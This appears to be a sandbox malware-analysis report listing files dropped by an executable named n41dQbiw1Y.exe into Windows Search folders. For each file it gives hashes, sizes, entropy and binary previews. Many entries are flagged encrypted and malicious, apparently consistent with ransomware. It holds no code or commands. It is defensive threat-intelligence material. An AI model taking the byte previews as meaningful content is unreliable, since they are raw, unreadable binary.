,...n?..7.l.:=.Q.M..Ho...%.L..Mz.,....d...(.......d7.....Ue$..o.r,..73d....k......O.s5.).......3C.m.'.}.!..).b..C...&f3...P..X.b...QQ.Z......x7..@..&..s....J."..O..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edb00001.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.5017669348624203
Encrypted:	false
SSDEEP:	3072:bhlO8hOd79ZpDlgmp2WSJNnlf+J8+kj91M4wCLvCguU8aNcmul34k:dlRMnpD2LrS49qlCeg+
MD5:	4D18A537F1B526595D01D6D0D5F46A69
SHA1:	9E2CAE04EA2D83BBA1BA6F14C1C1F6AFCE635BA0
SHA-256:	BE76914E2FCF89F7839EFCC0EE615FCEA32FEE26D66884BCB1F6584F7678AB24
SHA-512:	A80F910FA6AE40C53261AB8994B9A355B9411CE91E1E852B50EC0E1532EBDCDEE88E7995D0F54E417E99589EA1097BEC0484B591F94FB85E9B5F8EAA42D5A1B4
Malicious:	false
Preview:	........&.....[...n............=.......dD..!.J .m_r..xpfO...3.az....xc.\F.......c.......}..A...+..0v..h2_7.i...c.l....T...d..T..r.d...I).....0=.k...5..1?NP...Z ...C....U...j...[t.Wd.?y..!+.c...1.m..G.61(.....}<..._).../.mp.......D...^..y.f.......H.+.CO...:p.8.,.wb.{..]....Y.V....."iy...$-.k....4u.?....G1...'...cQ...lz..L.`MO.....^.}px8&.\..:.....T.h..b.....w._PD..-......m...M#3..v[..C.lf....50K^Q;)2.f...j.B.T..er.z.@/....&.e..7..(+.+B.<k....%...G..{...n.\|...%......./.\...9m...I?..D.s.i.....].".4.w.F......s{u...m..;.zL.Xe.W/.6a..y:PN..}.g1.<.o...?...a.....@.\|........n.....%. ....6..n......h?+z..8l...C.1...4......G.\.....^&...W....a>...0{...m5..{.<S.K...B...z.'p...3....7A?.....}-...%..ya.Q..b.~.`.5..a.....N....t.:)..TsJ.0....oM.......5.G1....%o...<.H...F...2.v6..k.....}...2....,.;H.7?...&R$E=8.....<..........{...Vv....f.w_I..R.2..#n..iu..O/.(_...L=0...V.NS....^Q....D.{C...p.<..a.(]..d.."..CC.B....#..1+..$h+.3.....q..w....4.@../

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2070857002798694
Encrypted:	false
SSDEEP:	3072:c8MUXaKyu77u/uYxccPK425wSzD3lszKLLvZdues7MSxK4n7u:c1M7wuG0y8SK/Zs7DK4n7u
MD5:	1A7A231B2E7278183CD5A592A4C26346
SHA1:	2DD1AC69AD6ABE17B2FCD18BC904E7AB00D250AA
SHA-256:	04A7644C18517E5E0ABA14F27938BF7F9C246239D7EBB9EE2E63398ACF45538C
SHA-512:	C3FB8BB7A5891DEFDCC7728618CCBA122DF559D09104A30484EA95F102B2DA86A06630F50A114BF17A2A23B913D13318703F33E3C9C6452EA71502C6BE583AA2
Malicious:	false
Preview:	.....ai'^.e{.]...5.v.......J..%.{PC.o...=...c.j.a6(MF..X.._'.)oJ....c..';.G.!......?\|"......t....."...0.%.......n.K..0....Nb.oxu.O.z.(E...=.4.}z.N).].{"'<g...mP...../....9..1\........j.2?m&T<...^.'.....b....g....\98...J.k.yQv..').....z....Yp...r.8.lW......5...U.`4&ss...SXM..-yR`3...!d....N..R.y.(...{..W{...t..vOB+.......}....._>.Wd...yo...$.QS..b0%..............Le1.8?..+:..1..........3.N.L...};.%....%..KB.)........]..7V....U0.D...LG8...M+.......9........<./W......( ;.k:...>...T6.I.s.z.6a.\6..n.".'...Q.h.W.8...[...d.... ..f...h..l]..p...... .W..5F..i.V..e.{..7. ....[7I..+eu....>c..yP....j.w......IH......7F.w.3H7K..U.L..Y.%.....D..`B,{...$..\|..~..O(..6.:.....#J.l..[...}.P^F..? <.Q....{h.r.D..J.......m....t.....)0.M....T....r.q.....[....&.J......a.VQ`..v.x}QL9Y..-...8B...,...Lr.;.L.....WN="D..V..F..g.*......jO...p@{.e8...\|l7.7y.P.,.w..HTF.`>b.T....I..)(...p".x......\..H=........+ ...a:Bh..H...1....P....U(7..5...c.D.......x.V..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207793368720876
Encrypted:	false
SSDEEP:	3072:GjCYhvlmzknanookuFfTeO7yosrdTQPLoek6HyF75VOBGbr4C6s2:w4zhzh17ATQhkAoVOB8dg
MD5:	73BDECFB5478C645157F2251EA29E752
SHA1:	EE43F23827BC40527CBF9211BDEF41A76003A481
SHA-256:	512A1D7CCF1CBE8CF94241B7A754BB4C41675CD2DC001C0850CA672065E26C1A
SHA-512:	F1188F4B16EB347C279D9E3D42C69BD48B76F6DFA66545A42A1F296350F29C83836BBEE5654BE2D8CA640818209F4230E251978B0641FF89EB33577509D19110
Malicious:	false
Preview:	......~./....W...c......T...Z..M..[`......W.>+.s5...Mo8r.D.<n..._".....d..P.......i..!W....v..O_..5...>d....U..`^.@..5.5...-.....p`...p.A.)l<P..R........Np..[..$.l?...N.4...<.U%.>..TW...e...!.II..jA5.M..!.9._.s.M.b..=_....B..2...U.....?.U..i..@..c.q.w.W7...K...3.oE...Ww....Q..Y.Q+....o....M...lJ~...hN...{00.....\|.`#...n....4..D%..PZ3...p.n:.)...S.[...P...4Kx..../i..{.n7.+...G.O.~..K...[.....Zk.....G'...b..(P5..N.....\|.^..6~._...AlI!m. .2....[..g...A...G..E...b.oG6..r~/c.$....F5}..+.[W(h94..v.....1.e.:...c_......1...\|....S...q.k;2B2s..g..9P.......G....X.Vn...E.....EO3i..I.F...K..{..G...C...S.3.....^.Fi\|N/i..s..`.&%...`V-..o..4o/.Ld..q..C.KR.OxX.....{.,I).....`...Q%...O.....\..2...=...y.T.8e....m...2`..ZL.N...b.+...k6{;=.........{x.!...F`\|0`....h5...'Adw4.]j....`.........=.O.j..(.&sg.]=.."e.......d.at..`#..G,/.&.....9....d.}.+....M..\|..'.B...%.d.&.b....C,.M...+t/..%...E5...D}.6Ge.t.....V..1NS....{...n.....M.qe.....K5...GT.\|X..,}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.208239105148472
Encrypted:	false
SSDEEP:	3072:WvvNtXLRll0jdxEkzG2jXjn3Soqx2Zc6ivjD1LxDNAkDrPD6lJbwsFBGo:WnNtXp0u2jXG+e6ivRxDXrel5PFBT
MD5:	6F5E8C357EB14EE2A0BF64C5FF4D3BE5
SHA1:	DE477EC679E2C6E5A34C86C4EA5977FEA44D1610
SHA-256:	E7818DED6339DE8FC33CC571804D6B65DC68A1682C7F377AB885B33914D2C1D2
SHA-512:	E46D540E6A58966C973609227103626771BB63036C165AE4AE8C914C74B360011314A6F2F2126932D886AFFD53F7F972F80ADD534B3E5E1907A3FEBD9FDE6A64
Malicious:	false
Preview:	.....W...:.G.o...C..dn.@..T..Y.........w.-..i....bg(.m5.;.run".;.G..>....x.x..)&;.RM.a.O....wf^..l%S...?IS.Ki..s6V...#....GR..(3.bQ....9'.,.2...i>u+........l..p.:h...(B..N'..S4^..HNo.bA^.....`3O8..Z[..+.JL{e.....u..j..9.c.~...% ......h+..'uoZ.^....,..X...wz\|...).H3.s..P ........)"m.z......c.2..\;e....=..dq....Q.Q..zp\....D.f.4..N..q.# .d...R.mR.~,.....t.mu.....!.......8.s.B\..PC=...2...T...rdTG.0......~Y..G..:......DV.V3K^.Y..C....;....c2.W.....Y..)..sF.zb..4.....-I.........j.).n%.p.`....C...9.q.._.e<....2..?.........1A.N7BO#..........Qe...1........u.\..q..C....=C..q.kb.2...2._.I........?dr..z..mS.B.XS..Xb....z..d7...5.#...\|]..P.V.G.)....o..!.o...(.iZD...(..x....'....{2....;..x{.M.o...0..3.q..f/.\|..J........$v....!W.&..#'......[T.....X.b....qeau.....+.%5W...Y.[....._.4\.4. .Z&....V....]......#..66...Y.+....A....jt.q.WP.s...{+..+#...+..V-C.MkJ..x..@....H..1...zs}..1dQ..!...a..&fz.Q..P..H.S...2.c:=..X...BM....Q..&..z._...vN...u_.k"......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.9979891928879026
Encrypted:	true
SSDEEP:	3072:8ksoiqLEbAbU8JCmznpMKzTZxVfyBPhaf5vm:8TqLTYwCmzSsZfgQg
MD5:	0FF6484D553274D9A4AEDCE1A6B56B2F
SHA1:	C129DEDB3D49898B9802FF69F7C3EB46E7E254B9
SHA-256:	E5AC720D6EB152B0D9E5B7B645A84D8B8E3A0F8D2A60329283A17091343B8FC1
SHA-512:	A1BBAB8433D90126654795A8B46E3B6BA91CE24D3208C16F5A608DA04A13ACFBDD2D3BFB42BFB6EB9E4F1D08CBA66937EC74DB2EBA6D4A0851691FC9FDB2FF81
Malicious:	true
Preview:	[{"Sy.../w8.6?..u.f....4z.........V\gm.Z.\iC..6....F.&..3.._...._A......[L.M. ..~j"...\6e2.N C.jcO{.".J[/.....^.R7P.!.GAf.n...L.\|.YI#...1.oR.".Y....ow..r...K.K....O...% ..P.N\|..x.-..u.r%......U..(.....[.}A.`.&..}...l...d(?....t...6..j.~2g]....YHd.5....rm.8....qUA.....s.>......1.S1....../4g...k.xXHU....=J......V.I{...MOeZ...5k...k.v.o..o.)?.MW$+<.>.f):.fb.I#..!H...u...;g.}.V.....P.YL......Y....wwB.".D~.O.^...P1L.m..UFB)".OK...w~..\...D..B...._....$."@..x$1.{..<.z..s..!r..S....<....%0....k.z..i.....v._....z..&S@..O}.....d.Or..7b.>.V..L.....\...<...,0B..q.;...E#Zv.P...8.2.-m..m......K..zP.~...../.4...y...k]....!....B.{w"..Z....,8....v.y....#.U4..=.....s.J.~.*.....z..L.[../Mp......23'-... 9....].L.1.o.Q......t.Z....Oq~.IQ...D$.&....J.\v.%.......&l..@1P.#..E.&+.......TG....l.1...j./..\.t.(...0.%..j.Y.A-...>{..........@.r..<.....^.........O,N..@,...[..<..`..cp.ol.... ^....."....?c.,Y.m&'j.W..'..T..d,.....MW..z .P....Y.C..A3..{i..<g.b.i..f/L...i..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.998405337777898
Encrypted:	true
SSDEEP:	3072:ZFrwRUPCkHNbZ7h3864uCyMqh0Vby5eQWdVG2:Z1wR6BNFdd6yvh0M5DWdE2
MD5:	EFD49E0C8C3B6E8B0CCE378C67C42429
SHA1:	43A5704BF0A5B6B2C02A710DAAD913AEC4C518FF
SHA-256:	5414440DA0B9185A788AA4B050D0E92AF6801EB6EC035C6D1ED18436D90E5912
SHA-512:	DB8461FBFD8859F043136DF23E28C1A8D0F55DF88B28FFFF3BE661FDA9D1131287297BF02FF0881406048287573085C5FE17BE0287D8BF2BE4E5C566257B3149
Malicious:	true
Preview:	[{"Sy.5...^..>)A.'.._......2^.X..c....tI..R...<..?e!.._.Y...:.....;.s..z.q....D...D..4.../......]..wA!m.(......C..Y~].......J...B\|).K.m3q.c].M.y,.z.P.y.K.~@.....xf....I...2..Q....I.:.&I9u.?..j...N.C.u^.............Y@....t.........%Qe....H}<...5cXb.y.].Sy.S.`..N..Y..@K.a..[.. t....r0..V.......C..1,.......P.a.....:...e}&.b.M=.42.v.!.2n.y....t.........:{..8.dCqN..{.;8...0`..`.F....S....G+x..H#KC.....yG].C...nJ..?..x.{...........(:Ia...`..b..A.;..............f=.qDX.j.a.../s... ...2.....}....u.<...)...vZ...p.?cE[...z.K.6..I..W..;...9.w.J.....m!Q.-.;..c.-..t...t....n..c......~W...no...b....j..j.Zt8......)lB..{....y......PP..f...C.z.\|e.(....x..V.U.u..>.2...~O...7f..jp[...p.I)...Y.B...2s..?.~.E.]..E^.Nf$'.DJ.}B.P..'..........F..-z...U...n?(........q3.;...(.......[........l........L..N."..Ql.J...L...d.G)O {.(q.'.M.SC..bE...uI.b\Zr....!..r...U.[~.*..[.._...ok36u.W.h.!O..g7.rpPJ.L ......u\.x....p...k.,8k.2..e(..Q..H.V...a..J

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998393178752829
Encrypted:	true
SSDEEP:	3072:k2ke7zkboU6rybotn6NjhZQFBOqRBqTefOJVF8nEDA+G0P:k2ke79ybo9D7OYqyf48nv0P
MD5:	DF1A9AC94ED56553495FB4808CA2C9B0
SHA1:	A411D3217A0059413B6FC97660C0383C769122F6
SHA-256:	19B4DF7B3B0EEDE35A3043970AC54417EDECB8C17CD3A1D33684C7C6B43AC69B
SHA-512:	C42E6A2ADE7A70DC345F5CDB00C84AF472C36457D48091C36F5AD0EB079BB84E08C19E2E08A634FF73059A58EC50A2567A1A752DBC04E30AB9C9931FD5F85328
Malicious:	true
Preview:	[{"Sy.i..1...Y.W...;.Z.A..B..(9.s.....e.OHi.\|#.h...Z..Ug.].....yT. n.'...A...B...a. u..%...N._._y6..e..kK.w.T...D.....$.G..P...}.`...N...1#2..'$..Z.\?.....>....5.r..x.,X.$p6.g,?...}.".U..............%..M.^.............p.4..;kf..c...Q..L.3e._..x....\|.O.q)..r.Hh...jw..n..]E0...u....V....o?77.K......EX.#...p......n2....\".?..>A/..Q...1.`<K.Q.....r.-m....."...X.<.."..o.w8%...Y..q!.}...}./..E#..p...R:l...Uk.~..YSN`..<^..e\y...m..?. "..)....A.Jg...F.W..Z...{..j.(.O\|..v6].A1..<.I.^r.~y?.U-Ne.ck...%.9.qJ.v..........$....3..pP.....9.\|.m.s./.`.xL.O.d.1j...0.Z#0IiQe......v.G.h).h.Yo.N...H...d..k.J.(.......0..,...:.J.J...].K..].......a.....Tz...=i..e..."...U?...E..<t....qg...Z}.)...K.y>...C}."N..w o..{BM..8.w.L....52}....o<.}..3...;)...[.r.t.R..?'.DP".....LX.....ZA".{....&?.cCYb.y.#.7...[C].I...Z.hH..D.....=<M\..#im...U[T..&g....BC..f...SZI.;3.H_._m......O.._...mp...C..G...<s....[.?)..'$6.$.tm...a#q.*_/`.~G.....V}1.#..r.?W$..Dc....>.}....>....}.O

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998326068457712
Encrypted:	true
SSDEEP:	3072:Xnkjzjwti5h5zcwQq+EGL68akqXiQLQTm:ezjkUjzcwQ5Ed8HjQEm
MD5:	0DCDB044B671FB0BA5DE3C282352916A
SHA1:	BFF1F25F5CD8F46D658FCC4766A4F5444900B38B
SHA-256:	4B484BA2F733F141D94DFD67D9D735C0C8D640B485AA68509704119065A13B3A
SHA-512:	E2054450D4FC88C0C4AD5153E418A19F4B61C80D8D44669AC6DC067F40BF52EBC12F86521F626EF91E0ACE7C807DD951368BA4CD2CD565E0520DCEA8C6CEF9FC
Malicious:	true
Preview:	[{"Syp8..lw@...f....G.z....1....x.u...t.(..\...#..i.....<v.Z+.9.....,?tp?J>..:+.......vD,.E?.-.d...+..5.L...iO...Tg..x1Z\.H..\..............%T....y..>.J.......Ht....a.c...@.~wG{]+5?.N..F...0...Eo.B...p....n../C....>q.>..h.!%?./.5.iH.\|....T`.B..J..;]9.F.t......f..a_..6/d....W.h..W@.....S.."!.I... ........:F.u....\.QAI..EX2)).@....^cn.>......?..x.^.%{.+.[...j[j2x....p......l\..N.....M......9ZG.....N....Tr.NDm..!.d....q...0.5.MNZ~ .....z....@Z.SJ.........Q;=..O.E#W...F.T6....wJ..&q.=.].iV. .........[.e....<.<..aW.>f.n52%...wiK..........~..+,.. .).@...<...)p..D..r....h...\B.Y.....;............`.w..g.T...%.O.O)...^zFH..y){..J..S..4q....p@7...>d......]1.Fg)P..I@.bK.wYL.\|..........t.\|.......=..r:..$....PF.4Fe...+.kK.:...fU.....Y_{._.MnXA...{........O..C..>tEP....aA[.....[.*.....\|...YN...G..:U..J......o......q%o.J.{,....^.X..s{.`.....DCL. .`G.T...cc;..).7........:3..........h.m..,+D....'..(m..(.z....ZqR"Ju....t..>.j.j..K...p.8.G.....&.&

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998358363611632
Encrypted:	true
SSDEEP:	3072:LeqBnSHKRYK9R9v8gmDLPqlEtJhNADIdHmktMBvlMbUyH26i:LeqBn91b9v8gqhNADIdH8Ob0x
MD5:	8FA4740304939B7574EF0A647088B561
SHA1:	1668918ABBA5919216CD78A3EB5ED2B04E0FEF9E
SHA-256:	E75D67FCBA899FBF5BE4FDF25FF4EE5E947FAAE1272C37882826CA9397B1948D
SHA-512:	F32B8961F7FA7DA84B7DB448590FBB70DC3B70943516DCD3E9AFA6C0F5260CCD92CC28ABDDBBB99490F78FA206BB068906FAE0EE048492B023FAF3D277E9D78B
Malicious:	true
Preview:	[{"Sy........o.D...:k...7.P{.....Ci.,..P.Z....B....k9"M....o.-..H/.(.%0.w. ^...L.g..xO.z.c.n._m......<..#o.4.{.`...J....J`....]&/.......{....[U.5.....\q..Y[c...+.\.....8&\|.t..m.._."...i@....I.5.K..z.F...n..}rK.N.%.^g[".......>.#....I....-......T.O,....4..c......@mt#.._.'e.....I.{._..+.J.r'........1-..7.."..pSO.}.diM>.S(...T..e..Tx..G...w.E.....Iw./BF\|.J.^rDC..IVr.N....t+6>..f.L.@...B..(..O&....\|....."W.....<m...D..h8....t..A......<..=0.q 3Z.M;..K..V.K.A%.4....9.L...3.c...>.5.....kR.Q);.&.(...,...4....m%..w..rV..xL.4.0Gw.{q.i.............d.....{.U.L....^..R..=.7[_t>..q.aHU/b...;.v.e._.............}.q.....L<.<q...#ni........G..7.\.TZ[.X....u..}...].B(.v......L...+..H.J.o/.U:{ 3..P......x.5W...h:N..<4..e.^w.....Z....._...=..y.....O@.F-K..&.,.M.V..jv!c........(.W...=7..i(....{.K%L.>..$.>......k.j`.IM#.)...H@.R.e....H.'..h.O...oU.;....v^0.vX...3.[.....]...0=...xu..m2L.4....u.UI..#O............K..P.>X)..4.S.A..5Wk...U.j.T;F..W..(U..W.Y6c.q.a

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	117246
Entropy (8bit):	7.9982659889167
Encrypted:	true
SSDEEP:	3072:focaxarxOHN4n+2y0L1q3FWyPjtfRAReYkXRUsn:focasau+2vq1WyPjtfRARyXf
MD5:	46DE1937C93F81947BFFCCC5D4B64585
SHA1:	52576FF7988BF6388078A87813D8743755C9FB0C
SHA-256:	8CB3E5ED608C2089EA665C4848F8634C40DFC5477D0FB05152B75C25EF7421B7
SHA-512:	17BC031C2599330B26740C278435276DCCF3EC0751A81329EBF7EFB87FF1CF87AEC58EB21700FB301D34184ED2BC0AA831CABDA78776AA39DAEAF195D58DC6E1
Malicious:	true
Preview:	[{"Sy.....w...Y...+dW3m..=...X...^..[f,kY:.6....V....Kb....~.H."7^...5x\|o.X.I..d.,Q^.....0..1.Oo.7..5..A%].d$O...,.5.f...n..i]...T`.yD.yr^.....%....W~..M.5..Yo.k..T.k.Z#.(.TJ......lh..X.}...ic......B.w2.E!n.V`.1........u.u..F...U<......./MS4V.J..G..g...%...d)\|.].......5.d...fo.5..A\|..[...V..Z.x.\|.>....j.....wq.!..i....(P.$.....\|t.!gEv.F:..-..f....D.X..N..y....M..u.:.....C..K....X...=8.d.4.........og-.#.\v.}.@e......#..[.~..\.c.......X4.,.....tz.]...1f.sB+..L.V(i......jg.....FmN.k..L....9..?W...3......(.. ....}$ ...<.\V.qV_.~..rWq....l.....a.~g.\.7di.......i....Y'G.[..R.....[..^T.g...%..g...S..........El...r^hI...+...im.....[...D.E.hH.RFm..\.O...)..3.Y..&......ZJ....g.]7yE.i....k.u8.3.q......Sc g.4s./,$..Y..O..).#..U..9'..x]....n.\*D..._.&`".^.<..)..e..{..v....1-..L../...~.p.SZ.......\|...e............K\....".b...<T~F..u.......wg...z.\|35D..........jf..5<m....5/..5..../o..$..\$I...ya;r....!6.<.......R..]..+..{M.h.f../....].".......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	116817
Entropy (8bit):	7.998355381362621
Encrypted:	true
SSDEEP:	3072:+0vWg54ffADKXty0nTfdGIzh85HuL3rmV4VnC2kC2SJ:+054ffADKXg0nTfdGD5HuPXxC2k+J
MD5:	11D2DAD6738F7AD66A33B5429303D383
SHA1:	17DAEF26A9942F1349F61A041F9A54EBC9728BDD
SHA-256:	611E44734E768FF87EDD82ADBD200393A56ED8774B74CE378C7FD163B2217988
SHA-512:	815478EC7D9B3119EF5DA44F5642DFFCE753C308E29D92C8F03D017CEB9BB5524E4B35C18BE0DBD944507ACB8309660221A65B9BFF993C0053F422F2E3836EBB
Malicious:	true
Preview:	[{"Sy...E...I9PX....au...'...a#[....gI.....s.)...H..lw&....kz._.<..A.S..^.2. ..$.`..jl.-.x..{....b/.k\|...._...bNU....%.e...p/6EWu.V...fd.....y.....H..Ef.....t..6y.!..j.+3.....mb....a....p.E.nH,.;.R...FI1....P.e.:f...6....4.].o...U..R.{.....S....X...y\|,Y.3.C..?.\..X\|...3?.!..C5...B.8..g........Yx?YQ.vH..{>..E.g]f.8.q.[.....6.g...a..w..wA;.nh.#.{.C....:.o1......H..m@.;e.SI.=.e.9.j.......,.6=....\|v...GA!.l?,%i..%..`..xk..h.z..........\m..U..Y......y5v\..\|L-...".N.....Y.K..F.i....X<.G..+.n...n.Mg.f\0...:O..<...B.= N..X...p..d.?...@..Gc......t....n.J..^?c.;..E..4...r.d......5.N]7\|B..E....{.....gy....T...T.VL.a.0 #...S<....P..7..ih......yC..."._o....xv...K..j7.........;.f.a.l..)Eb...UrJ...[.d....#.y./..u..}.T.^.<\|iI...FQ....iA.\J$..0..^...3 ..:0P..l...Y...}.6H..D..` ..~..`.r...X.]?.?...M...\....g.q..x..}..t......L.~.S.'N..BH.2.3.......q..`g.j.....}+n.7.#. .a.1....t.^.SBl..:o.i...........kDx.GM...._.........}....f{.O.~.q.e8.2'wI...,I.V=..!.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945539453665.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.99857283841377
Encrypted:	true
SSDEEP:	3072:DQwqDFGBv14rczan3p/evLPKyUa656mInevF:KGZwlwKy4qed
MD5:	88A27E52A8CA5C8BE0CCE8CB0CD2E52C
SHA1:	BB059BABAD5C7227A758E56AA2AF1913C25784C7
SHA-256:	60A54692359EAA9A23CE3C769F3183270BE489DA584BD411DCDF2DD01F6695BC
SHA-512:	1A272EE8EA2939545CA4E7B77C94FD8057D4F7F420BCDA52E85848BA8445087AC4BCFF61B244433F8D8F42C88CA67C566B0600D70519F54EB69D72CA24B2509A
Malicious:	true
Preview:	[{"SyJ.M...9......H....oj?3....E....6$X...N=\..DXw...O.hS.].Y2X..q8[.9/;..H.0.+.ok#,&.aI...9q.7.....K............,a^.D..F.H...2Y.\|........J\E@_H.....0.3n..+.H.w.....K.._..3z6\|_...C<F.i.....b.............r.!h.".4c._.:RR..//.j%c.0.{).......KQL..P.._..`mU..=<+....O.T\..)5%.&.(F.]PM!K....RznB.p...~..2!S.U....F...s.<.r-h#.......T1......N.5/e........8%`.G..g...U..98.Eyt.{..oTE..2..5L...L...9[..!.8..si..Ts..0+w.....IN..v....Y,..`..Fp.f....[./^.O....emYAf.[.D...#W.V".F...c..M.K.......I..TJ.....2.NiF.A...%.H]..<.s.D..A..7_..N&f..n..#..4q7..."..h..:4.ZB.rp.H\|..0n...;.HQJ<Ag..-\...K.....8.[.....v"..b5.hw.D.5OO...4^s.=..3d.mz.z..d)..qX.!.@S.>18Q...A\|P..h.n....~...Wl.x}#.....8Y0I.7....(..)._L..M^._..61^t...l.........%F.....(..(e6T.@6....a....:,).'..H..Q..(..r.x.#l.`B.1..'.........D.t/Y\|.hD..Q.B..Y..i...Y...T.y....\|$h~iHRC.8.H.7...W../.4\|..4..1]A>...1K9.}\|..fgXP....:.s.H..(..P'+.KA].q..[=........b.H..D.5...~...8~:x$)..]..{C.A..^....q.+............G.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133809274034540047.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998558578921491
Encrypted:	true
SSDEEP:	1536:CO+ZbTlvkPPdZeE5nfoH+3ZBCXFSMysbPskg289GydF6Ls3U7Ja3cR+FOPps9jED:pmTWP/eYH3/CXFSQg2+ZBUF8U+FL9j4v
MD5:	760ACD9A3065264CB3C0120A31F8CE21
SHA1:	9DF70C38FCD0FE6F7AEDEDAC152C0F012C6D5E94
SHA-256:	EE5DB7A3472F2F9BCEB7CE88087916B6AC7B57B75E4CE9F267EC7C14DB4FBF0E
SHA-512:	42E712477B1FE9090A22420A211EB48CBD510505332FA39A550596A41995B773C66E759F45BD4BED9FDBF6F62DCFBE6FAEFE204294B032C9958E43BF5019EB27
Malicious:	true
Preview:	[{"Sy.......)....b.a.g.....j..=.\|....#..^M].`...v.."&..#..V.c^`.'.V.HSD$...K.~....#..l.wsE..\|.....%1t.....C.P.......W.."9...)_..!)......@.P..~.T.y5F....M...,.....w.~..]!l.L...H.I.:..........Q...y....7""...4f7.NK0..~j5.X....A';...}.o.d2.j...L.d.w>2R.98~.....0...d.;.X.//j..:....I`../...n..m.[..V......]...Y...l%..Qq..,s..>=.&.v...I.2L..+.n.w..a.....M./.2@.....H.B..3.o.....,16.. .RR.....Q.....b.y[.MG...jT..=..{.#y^..ao.ai.+z..Wh....@.....)E'.!I.2..Z..c...i....9M.8.un.9T..G..u'~..J<L/....V5.y.\|....)Rg0..4..T.]u.#Wr..L1.u;.E..4\H.z`.y...s#...>nm...:y....H.P....{+.6....d.....;.(....7....o...h^)nO1!./R..!....$.g....._.....m....qX.g.a..(.I...C...b.Ad2.;..'.#......P@N......".3\|.9..........vUVMt.....:......2[kG.C..!"XMN.c.!....-...kiClp.0#s.xt+u.En....\|wW..7&~.:.O. O........J...!.V.{'o......J..,.........-J.j"..x^B/.D..........x..kU.5...U...../..]..:...e.s..k-.w.*~....g..U....}..,.....0L.....Z4.P.....-O.....!.....Q/..a..\n.s<..vp.".O...m..Z.}

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133809274413186015.txt

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	114612
Entropy (8bit):	7.998589585460496
Encrypted:	true
SSDEEP:	3072:Tddi5dfJ1++r06i9Kp8tvDg6P9rrrLC0tmdTzu6sTVX:RdIR1++r01vJrPlrxtCHkX
MD5:	426A1D3EE33557F2153B4DA0C62D476B
SHA1:	22F52437C18F86DA1E9E2FC40F6885BCFAFA892D
SHA-256:	1257BDADEC7D1FDD5017342532E067BFE3BDB41EBF60EC9AB22DF26AEC969BDF
SHA-512:	D01AE1D31B1758ECA870613EFD634942E7513B84CB93ECF4AD62363877D000BDE0F69F799E6151C8C8DDD9FE0F8F0EB29159850FEF775E794307D8E7AE5F4C1C
Malicious:	true
